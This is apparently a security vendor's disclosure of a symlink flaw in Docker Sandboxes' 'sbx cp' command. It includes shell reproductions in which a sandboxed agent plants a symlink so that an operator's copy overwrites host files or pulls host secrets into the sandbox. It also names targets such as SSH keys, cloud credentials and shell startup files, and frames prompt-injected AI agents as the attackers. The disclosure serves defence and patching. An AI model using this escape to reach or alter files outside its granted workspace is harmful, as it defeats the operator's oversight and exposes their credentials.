Introduction
Docker Sandboxes lets developers run AI coding agents in isolated environments, rather than giving them unrestricted access to their computers. Each agent operates in its own sandbox, which is a protected workspace where it can write code, install software, and execute commands without directly accessing the rest of the developer's system. By design, agents can only access files and folders on the developer's computer that have been explicitly approved.
CVE-2026-103916 is a vulnerability that breaks this security boundary. I discovered that the command used to copy files between a sandbox and the developer's computer (sbx cp) does not enforce these access restrictions. An agent can exploit this weakness using what is known as a symbolic link, essentially a shortcut that points to another file or folder. By placing a malicious shortcut inside an approved workspace, the agent can trick a subsequent copy command into accessing files outside the sandbox's approved boundaries.
The vulnerability creates two significant risks. First, an agent could gain access to sensitive files on the developer's computer, including cloud credentials and SSH keys used to access other systems. Second, it could overwrite files on the developer's computer, potentially allowing malicious code to execute outside the sandbox. An attacker could manipulate an AI coding agent into exploiting the vulnerability through a prompt injection attack, in which malicious instructions hidden in content the agent processes cause it to take unintended actions.
Docker initially scheduled to release a fix in Docker Sandboxes version 0.48.0 on October 13, 2026, however this proved difficult. The eventual fix was released November 3, 2026 with version 0.51.0 Users should upgrade as soon as the update becomes available.
What are Docker Sandboxes?
AI coding agents like Claude Code, Codex, and Gemini CLI execute code, install packages, and run build tools on a developer's behalf. Running these agents directly on a laptop means that mistakes—or malicious instructions picked up from a dependency or webpage—can have consequences beyond the project they're working on. The agent can act with the same permissions as the developer. Docker Sandboxes helps put a wall around that activity.
Each sandbox runs inside a microVM, a lightweight virtual machine that functions like a separate computer. It has its own Linux kernel, Docker daemon, filesystem, and network. Unlike an ordinary Docker container, it does not share the host computer's kernel, providing stronger isolation between the agent and the developer's machine. The agent can build images and run containers freely because the Docker daemon it uses exists only inside the virtual machine. Docker Sandboxes ships as a standalone sbx command-line tool and does not require Docker Desktop. A typical session starts with sbx login, followed by sbx run claude.
The agent still needs access to the developer's code, so developers explicitly grant access to specific folders, usually the project workspace. These folders are shared into the virtual machine using a filesystem technology called virtio-fs. Together, the approved folders form an allowlist: the only parts of the developer's computer that the sandbox is supposed to access.
The vulnerability
I found that sbx cp provided a second path between host and sandbox that the allower list did not govern. It moves bytes through a separate channel from the shared filesystem. The host side of every transfer is ordinary filesystem I/O performed by the CLI process, running as the operator, with the operator's full permissions. The allowlist is never consulted. That would be fine if the CLI checked where the host path actually leads before reading or writing it. It does not. It resolves symlinks in the paths it is given and acts on the resolution.
The sandbox controls those symlinks, because the workspace is granted read-write. Anything inside it is the agent's to rewrite, including replacing a subdirectory with a link to anywhere on the host. Inside the guest the link dangles, because the target path does not exist in the guest's view, so planting it gains the agent nothing on its own. It only takes effect when the CLI resolves it on the host, during a copy the operator runs.
The command has exactly one symlink control, the -L flag, and it guards one of the four positions a symlink can occupy:
Three of the four positions are open. The one that is gated is gated correctly. A test of -L against a leaf symlink passes, and does not exercise the other three positions.
This is also not the first sbx cp copy-out bug. CVE-2026-17106, fixed in v0.38.0, was a destination escape through paths inside the archive. The containment added for that fix works, and I verified it held during this research. It contains paths relative to the extraction root. It does not check the extraction root itself, or the copy-in source path, and that is where this one lives.
Reproduction
I created a canary file (a unique file to act as proof of escape) in a directory the sandbox has no grant for, started an ordinary sandbox on a sibling workspace, and confirmed that even mounting the entire host virtio-fs share as root inside the guest cannot reach the canary.
# A canary the sandbox has no grant for and must never reach.
mkdir -p ~/sbxlab/repro/work ~/sbxlab/repro/secret
echo "HOST-CANARY" > ~/sbxlab/repro/secret/notes.txt
# An ordinary sandbox on an ordinary workspace.
sbx policy init balanced
sbx create shell ~/sbxlab/repro/work --name repro
# Baseline: even mounting the whole host share as root does not reach the canary.
sbx exec repro -- sudo sh -c 'mkdir -p /mnt/h; mount -t virtiofs host /mnt/h; cat /mnt/h/Users/$USER/sbxlab/repro/secret/notes.txt'Write: overwrite an arbitrary host file
The agent's only action is one symlink, planted inside its own workspace, at the destination it expects the operator to copy into. The operator then runs one copy-out, in the exact form sbx cp --help teaches.
# Attacker action: one symlink inside the granted workspace.
sbx exec repro -- sh -c 'mkdir -p /tmp/out; echo "OWNED-BY-THE-SANDBOX" > /tmp/out/notes.txt
ln -sfn /Users/'$USER'/sbxlab/repro/secret /Users/'$USER'/sbxlab/repro/work/results'
# Operator action: copy a file out into what looks like a workspace subdirectory.
sbx cp repro:/tmp/out/notes.txt ~/sbxlab/repro/work/results/
# Exit 0, no output. The canary now holds sandbox-authored content.
cat ~/sbxlab/repro/secret/notes.txt # OWNED-BY-THE-SANDBOXThe extraction root resolved to the canary's directory, and the extractor, which is correct about everything inside the archive, wrote there. Variants all confirmed: no trailing slash, a symlink pointing directly at an existing file (overwritten through the link while the link survives), a whole directory tree, the relative ./results/ form from the help text, and a symlink one level above the destination. Passing -L changes nothing on the destination side, because it governs only the source. The one bound is that the target's parent must already exist, so the write cannot create missing parent directories. That still leaves the operator's entire home directory.
Read: pull a host file into the sandbox
For the read, the agent plants the symlink one component to the left of a plausible filename, at a parent directory.
# Attacker action: symlink at a PARENT component.
echo "HOST-SECRET-TO-STEAL" > ~/sbxlab/repro/secret/notes.txt
sbx exec repro -- sh -c 'mkdir -p /tmp/in
ln -sfn /Users/'$USER'/sbxlab/repro/secret /Users/'$USER'/sbxlab/repro/work/vendor'
# Operator action: copy in what looks like a workspace file. No -L.
sbx cp ~/sbxlab/repro/work/vendor/notes.txt repro:/tmp/in/
# The host file is now inside the sandbox.
sbx exec repro -- sh -c 'cat /tmp/in/notes.txt' # HOST-SECRET-TO-STEALWhy the symlink protection fails
Move the same symlink to the last component, the filename itself, and -L applies and the copy is handled correctly:
sbx exec repro -- sh -c 'ln -sfn /Users/'$USER'/sbxlab/repro/secret/notes.txt /Users/'$USER'/sbxlab/repro/work/leaf.txt'
sbx cp ~/sbxlab/repro/work/leaf.txt repro:/tmp/in/
sbx exec repro -- sh -c 'cat /tmp/in/leaf.txt' # No such file or directoryThe link is copied as a link and dangles in the guest, which is the right behavior. Move the link one component left and the CLI follows it with no flag. -L checks only the last component, and the agent chooses which component holds the link.
An error message also leaks the resolved host path, which confirms the parent link was followed independently of the read. When the copy-in destination is missing, the CLI reports Can't add file /Users/me/sbxlab/repro/secret/notes.txt to tar.
A trailing slash or a vendor/. form is cleaned lexically before resolution and collapses back to the gated leaf case, so there is no single command that pulls a whole directory. It is one file at a time, and the operator has to type a filename that exists in the target.
Impact
Both the read and write need one operator command, and it is the command the product teaches. sbx cp --help uses sbx cp my-sandbox:/home/user/output.log ./ as its example, and moving build artifacts, logs, and dependencies between host and sandbox is the normal shape of an agent session. In an agentic workflow, the copy is often one the agent itself proposed. If a human is monitoring they have nothing to act on: copy-out prints nothing on success, the debug flag adds nothing, and no resolved path is shown. Compare sbx mount, which prints Mounted <resolved> at <target> and at least gives the operator a chance to notice.
The write primitive places arbitrary attacker-chosen content in any existing directory the operator can write, which is their whole home directory. ~/.zshrc, ~/.ssh/authorized_keys, a ~/.gitconfig with a core.pager, a .git/hooks script in a checked-out repository, or a binary under node_modules are each one copy-out away, and each converts the write into code execution as the operator the next time they do something ordinary. That escalation path is well understood. I did not demonstrate it, so I am stating it as reasoning rather than as a result.
The read primitive is weaker. The sandbox chooses the directory and the operator types the filename, so it needs a guessable target. Against ~/.aws/credentials, ~/.ssh/id_ed25519, or a sibling repository, naming the file is not an obstacle, and the agent is usually the one proposing the command in the first place.
The wider consequence is architectural. The security model Docker documents, the allowlist as the source of truth, holds for one of the product's two filesystem channels. Any reasoning of the form "the sandbox can only reach what is allowlisted" is false while sbx cp behaves this way, and that includes the reasoning operators use to decide what is safe to leave on their machine while an agent runs.
Severity
The 8.2 reflects the same calls I made on the brig finding, and for the same reasons. Privileges Required is Low because the attacker is the agent running inside the sandbox with its own privileges, which is the product's premise. User Interaction is Required because the operator has to run one copy, though it is the documented example. Scope is Changed because the vulnerable component is the sandbox boundary and the impact lands on the host. Confidentiality, Integrity, and Availability are all High: the read was demonstrated against a canary, and the write primitive both plants content and destroys arbitrary files.
The fix
Concretely, I suggested three changes. Contain the copy-out destination root before extraction, the same way the extractor already contains paths inside the archive. The cyphar/filepath-securejoin library is already linked into the sbx binary and is not used on any host path in v0.43.0, so the tool for this is already shipped. Apply the -L rule to every component of the copy-in source rather than only the last. And print the resolved path on success, as sbx mount does, so a copy that went somewhere unexpected is at least visible.
Docker's fix was initially slated to ship October 13, 2026 with version 0.48.0 but after the initial patch was live, the Docker team determined the fix was incomplete. Sandbox environments are difficult to patch in the first place, even more so when permissions associated with AI Agents come into play. The finalized patch was then released November 3, 2026 with version 0.51.0.
Until then, treat sbx cp with the same care you would give a command an untrusted party wrote. Before copying out to a workspace path or copying in from one, resolve the path yourself and confirm it lands where you expect:
realpath ~/sbxlab/repro/work/results # must stay inside the workspaceChecking only the last component is not enough, because the link can sit at any component. Prefer copying to and from directories the sandbox has never had mounted, and be most suspicious of copies the agent proposed.
Takeaway
This is the second time in 2026 I have found the same shape of bug in an AI agent sandbox. In brig, the workspace share was guarded carefully and the project share was not. In Docker Sandboxes, the virtio-fs channel is guarded by an allowlist and the copy channel is not. In both, the isolation primitive worked, and the failure was a second path to the host that the security model did not account for. Channels that move files on behalf of the operator are the ones most likely to be left out of that model, because they look like the operator's own action. When the agent controls the path, the operator's copy writes wherever the agent chooses.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:









